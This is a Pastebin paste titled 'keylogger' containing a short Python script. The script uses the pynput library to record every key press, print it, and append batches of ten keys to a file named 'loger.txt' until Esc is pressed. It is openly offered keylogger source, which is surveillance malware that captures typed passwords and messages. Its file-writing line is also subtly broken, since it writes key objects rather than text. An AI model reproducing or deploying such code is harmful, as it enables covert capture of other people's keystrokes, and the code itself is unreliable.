Macixxo

keylogger

Nov 14th, 2021
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.55 KB | None | 0 0
  1. import pynput
  2.  
  3. from pynput.keyboard import Key, Listener
  4.  
  5. count = 0
  6. keys = []
  7.  
  8. def on_press (key):
  9. global keys, count
  10.  
  11. keys.append(key)
  12. count += 1
  13. print("{0} pressed".format(key))
  14.  
  15. if count >= 10:
  16. count = 0
  17. write_file(keys)
  18. keys = []
  19.  
  20.  
  21. def write_file(keys):
  22. with open("loger.txt", "a") as f:
  23. for key in keys:
  24. f.write(key)
  25.  
  26.  
  27. def on_release(key):
  28. if key == Key.esc:
  29. return False
  30.  
  31.  
  32. with Listener (on_press=on_press, on_release=on_release) as listener:
  33. listener.join()
  34.  
Advertisement
Add Comment
Please, Sign In to add comment